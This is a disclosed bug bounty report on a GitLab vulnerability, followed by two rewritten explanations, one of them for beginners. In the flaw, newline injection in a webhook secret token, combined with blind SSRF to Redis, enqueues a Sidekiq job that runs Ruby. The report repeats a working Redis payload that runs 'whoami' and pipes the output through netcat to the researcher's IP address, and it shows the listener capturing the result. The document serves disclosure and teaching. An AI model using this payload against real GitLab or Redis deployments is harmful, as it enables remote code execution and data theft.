Evaluating Ruby code by injecting Rescue job on the system_hook_push queue through web hook
The webhook secret token field allowed newline injection, letting an attacker inject Redis commands into the TCP stream when GitLab was configured with an external Redis instance. By chaining this with a blind SSRF in the webhook integration, an attacker could enqueue a malicious Sidekiq job that evaluates Ruby code and executes system commands on the worker.
- Triaged in 2 days
- Fixed in 2 days
- Paid in 2 days
- Disclosed after 4 months
The secret token field of a webhook is vulnerable to a new line injection, allowing an attacker to inject non-HTTP commands in a TCP stream. When a GitLab instance is configured with an external Redis instance, e.g. on 127.0.0.1:6379, it may result in arbitrary code execution on a Sidekiq worker by abusing a blind Server-Side Request Forgery (SSRF) vulnerability in the webhook integration and the new line injection. One of my other reports regarding these SSRFs, #131190, is still open and has been for more than a year. However, because this is a service I haven't reported the SSRF in and chaining it with the new line injection increases the severity of the vulnerability, I decided to report it. To reproduce, start by signing in to the GitLab instance and creating a new project.
To reproduce the RCE, a Redis server has to be running on port 6379. Follow the GitLab documentation to set up the Redis server and reconfigure GitLab by running gitlab-ctl reconfigure. When that's done, continue to go to the Integrations section of the created project. Intercept your network traffic before continuing. Now, enter http://127.0.0.1:6379/ as the webhook endpoint and A as the secret token. When the request is submitted, a request similar to the one below is submitted:
Request
POST /root/test/hooks HTTP/1.1
Host: gitlab-instance
...
----------1282688597
Content-Disposition: form-data; name="hook[url]"
http://127.0.0.1:6379/
----------1282688597
Content-Disposition: form-data; name="hook[token]"
A
...
In the request above I changed the body encoding to make it easier to inject the payload. Now, replace the hook[token] field with the payload below.
Payload
A
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
Then, when the integration persisted, click the Test button next to the newly created integration. Here's what happens next: a POST request will be submitted to 127.0.0.1, port 6379 (Redis). Redis is pretty easy on errors, so it'll simply ignore the first couple lines of the HTTP request. Then, a couple headers further down, it is including the X-GitLab-Token that is vulnerable to the new line injection. Here's the entire request that is posted:
Injected request
POST / HTTP/1.1
Content-Type: application/json
X-Gitlab-Event: Push Hook
X-Gitlab-Token: A
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
exec
Connection: close
Host: 192.241.233.143
Content-Length: 2495
{"object_kind":"push","ev<...>
When this is submitted to Redis, a new job will be shifted on the system_hook_push command. In order to evaluate Ruby code, I needed a Ruby class that'd implement the perform method that would allow me to execute a command or Ruby. The GitlabShellWorker was exactly what I was looking for:
GitlabShellWorker
class GitlabShellWorker
include ApplicationWorker
include Gitlab::ShellAdapter
def perform(action, *arg)
gitlab_shell.__send__(action, *arg) # rubocop:disable GitlabSecurity/PublicSend
end
end
As can be seen in the payload, the GitlabShellWorker is called with the arguments class_eval and the following Ruby code:
open('|whoami | nc 192.241.233.143 80').read
Because the Ruby is evaluated on a Sidekiq server, we need to exfiltrate the output of a command through nc or a similar tool. In this example, my server is listening on port 80 for connections. When the payload fires, it captures the output of the whoami command:
$ nc -l -n -vv -p 80
Listening on [0.0.0.0] (family 0, port 80)
Connection from [104.236.178.103] port 80 [tcp/*] accepted (family 2, sport 42874)
git
Besides the blind SSRF, the underlying vulnerability is the new line injection in the secret token. Fixing the new line injection seems mitigate the immediate risk for an RCE, but I'd encourage you to reprioritize the fix for the SSRF vulnerabilities in the services (reported by me previously). Let me know if you have any questions.
Impact
An attacker can execute arbitrary system commands on the server, which exposes access to all git repositories, database, and potentially other secrets that may be used to escalate this further.
Context
GitLab projects can be configured with integrations (webhooks) that send an HTTP request to an external endpoint when events happen, such as a push. The integration configuration includes a URL and a secret token. The secret token is sent to the endpoint in the X-GitLab-Token header so the receiving service can verify that the request really came from GitLab.
The report shows that the secret token field accepts new line characters. Because the token is placed verbatim into an HTTP header, an attacker who controls the token value can inject additional lines into the outgoing request. When the webhook URL points at a service that speaks a line-based text protocol, such as Redis, those injected lines are interpreted as commands by that service. Combined with a blind Server-Side Request Forgery (SSRF) in the webhook integration, this leads to arbitrary code execution on a Sidekiq worker.
The researcher notes that one of their other reports about these SSRFs, #131190, was still open and had been for more than a year. This report covers a different service that the SSRF had not been reported against, and chaining the SSRF with the new line injection raises the severity.
Setup
- Sign in to the GitLab instance and create a new project.
- A Redis server has to be running on port 6379. Follow the GitLab documentation to set up the Redis server and reconfigure GitLab by running:
gitlab-ctl reconfigure
- Go to the Integrations section of the created project.
- Intercept your network traffic before continuing.
The precondition that matters is that the GitLab instance is configured with an external Redis instance, for example on [redacted]:6379. The webhook endpoint is then pointed at that same address, so the SSRF reaches Redis.
Finding it
The secret token field of a webhook is vulnerable to a new line injection, which allows an attacker to inject non-HTTP commands into a TCP stream. The token is reflected into the X-GitLab-Token header of the outgoing webhook request without stripping line breaks. Since Redis tolerates malformed input and ignores lines it cannot parse, the leading HTTP request line and headers are discarded and the injected lines are executed as Redis commands.
Exploitation
Step 1: Configure the integration with a benign token
Enter http://[redacted]:6379/ as the webhook endpoint and A as the secret token. When the request is submitted, a request similar to the one below is sent:
POST /root/test/hooks HTTP/1.1
Host: gitlab-instance
...
----------1282688597
Content-Disposition: form-data; name="hook[url]"
http://[redacted]:6379/
----------1282688597
Content-Disposition: form-data; name="hook[token]"
A
...
The researcher changed the body encoding to make it easier to inject the payload. The hook[url] field carries the SSRF target, and hook[token] carries the value that will end up in the X-GitLab-Token header.
Step 2: Replace the token with the Redis payload
Replace the hook[token] field with the payload below:
A
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc [redacted] 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
The following lines are Redis commands:
- The job is a JSON document naming the class
GitlabShellWorker, with argumentsclass_evaland a Ruby expression, a retry count of 3, the queue name, a job id, and creation and enqueue timestamps.
Step 3: Trigger the webhook with the Test button
When the integration is persisted, click the Test button next to the newly created integration. A POST request is submitted to [redacted], port 6379 (Redis). Redis is easy on errors, so it simply ignores the first couple of lines of the HTTP request. A couple of headers further down, the request includes the X-GitLab-Token header that is vulnerable to the new line injection. Here is the entire request that is posted:
POST / HTTP/1.1
Content-Type: application/json
X-Gitlab-Event: Push Hook
X-Gitlab-Token: A
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc [redacted] 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
exec
Connection: close
Host: [redacted]
Content-Length: 2495
{"object_kind":"push","ev<...>
Note that the injected lines appear inside the header block, before Connection, Host and Content-Length. Redis reads them as commands.
Step 4: The job lands on the queue
When this is submitted to Redis, a new job is pushed onto the system_hook_push queue. To evaluate Ruby code, the researcher needed a Ruby class that implements the perform method and allows a command or Ruby to be executed. GitlabShellWorker was exactly that:
class GitlabShellWorker
include ApplicationWorker
include Gitlab::ShellAdapter
def perform(action, *arg)
gitlab_shell.__send__(action, *arg) # rubocop:disable GitlabSecurity/PublicSend
end
end
In the payload, GitlabShellWorker is called with the arguments class_eval and the following Ruby code:
open('|whoami | nc [redacted] 80').read
Step 5: Exfiltrate the command output
Because the Ruby is evaluated on a Sidekiq server, the output of a command has to be exfiltrated through nc or a similar tool. In this example, the researcher's server is listening on port 80 for connections. When the payload fires, it captures the output of the whoami command:
$ nc -l -n -vv -p 80
Listening on [[redacted]] (family 0, port 80)
Connection from [[redacted]] port 80 [tcp/*] accepted (family 2, sport 42874)
git
The last line, git, is the output of whoami captured on the researcher's listener.
Root cause
The underlying vulnerability is the new line injection in the secret token. The token value is placed into the X-GitLab-Token header, and a new line in it injects additional lines into the outgoing HTTP request. The webhook URL was pointed at an internal address, which is the blind SSRF that delivers the crafted request to Redis. Redis's tolerance of malformed input means the HTTP preamble is ignored and the injected lines are executed.
Impact
An attacker can execute arbitrary system commands on the server, which exposes access to all git repositories, database, and potentially other secrets that may be used to escalate this further. The attack requires a GitLab instance configured with an external Redis instance reachable from the webhook. The SSRF itself is blind; the new line injection is what turns it into command execution.
Fix
Fixing the new line injection seems to mitigate the immediate risk for an RCE. The researcher also encouraged reprioritising the fix for the SSRF vulnerabilities in the services, which had been reported previously.
Variants to test
- A positive result is a response or side effect that shows the injected lines were interpreted as protocol commands rather than HTTP.
- A positive result is a request where a line break in the value produces an additional header or command line.
- A positive result is a job that evaluates attacker-supplied code or runs a command.
- A positive result is the same injected request reaching the target service.
Hunting notes
The report was rated high severity with a CVSS of 8.5 and a bounty of 750 USD.
What happened, in plain words
GitLab is a website where teams keep their code and work on it together. One of its features lets a project send an automatic message to another computer whenever something happens, for example when someone uploads new code. That automatic message is called a webhook. You tell GitLab where to send it (a web address) and you give it a secret word (a token) so the receiving computer can check the message really came from GitLab.
This report shows that the secret word field has a flaw: it accepts line breaks. A line break is what happens when you press Enter. Because the secret word is copied straight into the message GitLab sends out, someone who can type a line break into that field can add extra lines to the message. If the message is sent to a service that reads text one line at a time, those extra lines are treated as instructions. The researcher pointed the webhook at Redis, a service that stores data in memory and reads commands line by line, and used the extra lines to make a Sidekiq worker run a command of their choosing. That is remote code execution: running your own commands on someone else's computer.
The researcher also mentions an earlier report of theirs, #131190, about similar SSRF flaws. That report was still open after more than a year. This new report covers a different service that the earlier one did not, and combining the two problems makes the impact worse.
Background you need first
A few ideas come up again and again, so here they are from zero.
HTTP is the language browsers and websites use to talk. A request looks like a short letter: a first line saying what you want (POST /some/path HTTP/1.1), then a list of Name: value lines called headers, then a blank line, then an optional body with data.
A header is one of those Name: value lines. Headers carry extra information, such as what kind of data is in the body or who is asking.
A webhook is an automatic message a website sends to another website when something happens. Think of a doorbell wired to a lamp in another room: press the bell, the lamp lights up. Here, the event (a push of code) is the bell, and the message to the other computer is the lamp lighting up.
A token is a short secret string used to prove identity, a bit like a password written on a badge. GitLab puts the token into a header called X-GitLab-Token so the receiving service can compare it with the value it expects.
SSRF (Server-Side Request Forgery) means tricking a server into making a request on your behalf. Imagine asking a hotel receptionist to fetch something from a room you are not allowed into: the receptionist has keys, you do not. Here, GitLab's server can reach internal addresses that you cannot reach from your browser, and the webhook feature lets you choose the address.
Blind SSRF is the same thing when you cannot see the reply. You know the request was made, but the answer goes somewhere you cannot read. You have to find another way to observe the result.
New line injection means slipping an extra line break into a value that is later placed into a message. If the message is line-based, the extra line looks like a new instruction. It is like writing an extra item on a shopping list after the shop assistant has stopped checking the list is genuine.
Redis is a service that stores data in memory and is controlled by short text commands, one per line. It is often used as a queue: a list of jobs waiting to be done.
Sidekiq is the part of GitLab that works through background jobs, tasks that should not make a web page wait. It reads jobs from Redis and runs them.
Ruby is the programming language GitLab is written in. class_eval is a Ruby feature that takes a piece of text and runs it as Ruby code.
RCE (remote code execution) means running your own commands on a machine you do not own, from a distance. It is usually the most serious kind of web bug.
Setting up the test
The researcher needed a GitLab instance they could log in to, and a Redis server running on port 6379, the port Redis uses by default. The report says to follow the GitLab documentation to set up Redis and then reconfigure GitLab with this command:
gitlab-ctl reconfigure
This is a command typed into a terminal on the GitLab server. gitlab-ctl is GitLab's own control tool, and reconfigure tells it to re-read its settings and restart the parts that need it. You run it after changing configuration so the new settings take effect.
The important condition is that GitLab is set up with an external Redis instance, for example on [redacted]:6379. [redacted] is the address a computer uses to talk to itself, often called localhost. If GitLab can reach Redis there, then a webhook pointed at the same address will reach Redis too.
Next, the researcher created a new project, opened its Integrations section, and turned on network interception. Interception means using a tool in your browser that pauses each request before it is sent, so you can look at it and change it. It is like holding a letter over the postbox before dropping it in.
Finding the flaw
The secret token field of a webhook accepts line breaks. The token is copied into the X-GitLab-Token header of the outgoing request, and line breaks in it become extra lines. So whatever lines you put in the token end up as extra lines in the request GitLab sends.
Redis is forgiving about input it does not understand: it ignores lines it cannot read as commands. The first lines of an HTTP request, the request line and the ordinary headers, mean nothing to Redis and are skipped. The injected lines, however, are valid Redis commands, so Redis runs them.
Step 1: Set up the integration with a harmless token
In the integration form, the researcher entered http://[redacted]:6379/ as the webhook address and A as the secret token. The address points GitLab at Redis on its own machine. The token A is just a placeholder for now. When the form is submitted, a request like this goes to GitLab:
POST /root/test/hooks HTTP/1.1
Host: gitlab-instance
...
----------1282688597
Content-Disposition: form-data; name="hook[url]"
http://[redacted]:6379/
----------1282688597
Content-Disposition: form-data; name="hook[token]"
A
...
Line by line:
POST /root/test/hooks HTTP/1.1says this is a form submission to the address that saves webhook settings.POSTmeans "here is data for you".Host: gitlab-instancenames the website being contacted. The...stands for other headers the report leaves out.----------1282688597is a boundary, a separator line that marks where one form field ends and the next begins. Forms that carry several values use these markers so the server can split them apart.Content-Disposition: form-data; name="hook[url]"says the next value belongs to the field calledhook[url], the webhook address.- The blank line, then
http://[redacted]:6379/, is the value of that field. - The next boundary starts the field
hook[token], whose value isA.
The researcher changed the body encoding to make injecting the payload easier.
Step 2: Replace the token with Redis commands
The next move is to put the real payload into the hook[token] field instead of A:
A
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc [redacted] 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
Line by line:
Ais the original token, kept first so the header starts with a normal-looking value.- The quoted part is a JSON document, a text format for structured data. It says which class should handle the job (
GitlabShellWorker), what arguments to give it (class_evaland a piece of Ruby code), how many times to retry (3), which queue it belongs to, a job id, and two timestamps for when the job was created and enqueued.
Step 3: Press Test and watch the request
With the integration saved, the researcher clicked the Test button next to it. That button makes GitLab send a sample webhook so you can check your setup. GitLab sends a POST request to [redacted] on port 6379, which is Redis. Redis does not mind the malformed start of the request and ignores the first lines. A few headers further down sits the X-GitLab-Token header, and that is where the injected lines appear. Here is the whole request as it was sent:
POST / HTTP/1.1
Content-Type: application/json
X-Gitlab-Event: Push Hook
X-Gitlab-Token: A
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc [redacted] 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
exec
Connection: close
Host: [redacted]
Content-Length: 2495
{"object_kind":"push","ev<...>
Line by line:
POST / HTTP/1.1is the start of the request GitLab makes to the webhook address.Content-Type: application/jsonsays the body is JSON.X-Gitlab-Event: Push Hooksays what kind of event triggered the message.X-Gitlab-Token: Ais the header that carries the token. The value begins withA, and then the injected lines follow, each starting with a space.- The
multi,sadd,lpushandexeclines are the Redis commands from the payload, now sitting inside the header block. Connection: closetells the receiving side to close the connection after the reply.Host: [redacted]names the address being contacted.Content-Length: 2495says the body is 2495 bytes long.- The blank line ends the headers, and the JSON body follows. The
<...>marks where the report cut the body short.
The key point is that the injected lines sit inside the header block, before Connection, Host and Content-Length. Redis reads them as commands, not as part of an HTTP message.
Step 4: The job lands on the queue
When Redis receives this, a new job is pushed onto the system_hook_push queue. Now the job needs to be picked up and run. The researcher needed a Ruby class that has a perform method and lets a command or Ruby code be executed. GitlabShellWorker was exactly that:
class GitlabShellWorker
include ApplicationWorker
include Gitlab::ShellAdapter
def perform(action, *arg)
gitlab_shell.__send__(action, *arg) # rubocop:disable GitlabSecurity/PublicSend
end
end
Line by line:
class GitlabShellWorkerstarts the definition of a class, a blueprint for an object in Ruby.include ApplicationWorkerandinclude Gitlab::ShellAdapterpull in shared behaviour.def perform(action, *arg)defines the method that Sidekiq calls when it runs a job from the queue. It takes anactionand any number of extra arguments.gitlab_shell.__send__(action, *arg)calls the method named byactionongitlab_shell, passing the extra arguments.- The comment at the end switches off a code style warning about that dynamic call.
In the payload, GitlabShellWorker is called with the arguments class_eval and this Ruby code:
open('|whoami | nc [redacted] 80').read
Step 5: Collect the output
Because the Ruby runs on a Sidekiq server, the researcher cannot see a screen there. The output has to be sent out through nc or a similar tool. In this example the researcher's own server listens on port 80, and when the payload fires it receives the output of whoami:
$ nc -l -n -vv -p 80
Listening on [[redacted]] (family 0, port 80)
Connection from [[redacted]] port 80 [tcp/*] accepted (family 2, sport 42874)
git
Line by line:
$ nc -l -n -vv -p 80runsncin listening mode (-l), without looking up names (-n), with verbose output (-vv), on port 80 (-p 80).Listening on [[redacted]] (family 0, port 80)says it is waiting for connections on all addresses, port 80.Connection from [[redacted]] port 80 [tcp/*] accepted (family 2, sport 42874)says a connection arrived from another machine.gitis the output ofwhoamicaptured on the researcher's listener.
Why it works
The root problem is the new line injection in the secret token. The token is written into the X-GitLab-Token header, and a line break in it adds extra lines to the outgoing request. The webhook address was pointed at an internal address, which is the blind SSRF that delivers the crafted request to Redis. Redis ignores the HTTP preamble and runs the injected lines. GitlabShellWorker then provides the class_eval path that turns a queued job into Ruby evaluation.
What an attacker could do
An attacker can run arbitrary system commands on the server. That exposes all git repositories, the database, and potentially other secrets that could be used to go further. The attack needs a GitLab instance set up with an external Redis instance reachable from the webhook. The SSRF on its own is blind; the new line injection is what turns it into command execution.
The fix
Fixing the new line injection appears to remove the immediate risk of remote code execution. The researcher also asked for the fix for the SSRF problems in the services, reported earlier, to be given higher priority.
Other things worth testing
- A good sign is a reply or side effect showing the injected lines were treated as commands rather than HTTP.
- A good sign is a request where a line break in the value produces an extra header or command line.
- A good sign is a job that runs attacker-supplied code or a command.
- A good sign is the same injected request reaching the target service.
How to look for this yourself
The report was rated high severity, with a CVSS score of 8.5 and a bounty of 750 USD.
Glossary
- HTTP: the language browsers and websites use to exchange requests and replies.
- Header: a
Name: valueline in an HTTP request or reply carrying extra information. - Webhook: an automatic message a website sends to another address when an event happens.
- Token: a short secret string used to prove identity, like a password on a badge.
- SSRF (Server-Side Request Forgery): tricking a server into making a request on your behalf, often to internal addresses.
- Blind SSRF: an SSRF where you cannot see the reply.
- New line injection: slipping an extra line break into a value that is later placed into a line-based message.
- Redis: an in-memory data store controlled by short text commands, often used as a queue.
- Sidekiq: the part of GitLab that runs background jobs taken from Redis.
- Ruby: the programming language GitLab is written in.
- class_eval: a Ruby feature that runs a piece of text as Ruby code.
- RCE (remote code execution): running your own commands on a machine you do not own.
- [redacted] / localhost: the address a computer uses to talk to itself.
- Port: a numbered channel on a computer that a service listens on; Redis uses 6379 by default.
- JSON: a text format for structured data.
- Transaction (Redis): a group of commands run together at the end.
- Set (Redis): an unordered collection of unique values.
- List (Redis): an ordered collection that you can push items onto.
- Queue: a line of jobs waiting to be processed.
nc(netcat): a small tool for sending and receiving data over network connections.whoami: a command that prints the name of the user running it.gitlab-ctl reconfigure: GitLab's control command that re-reads settings and restarts the parts that need it.- CVSS: a standard score for how severe a security bug is.
- Bounty: a reward paid to a researcher for reporting a valid bug.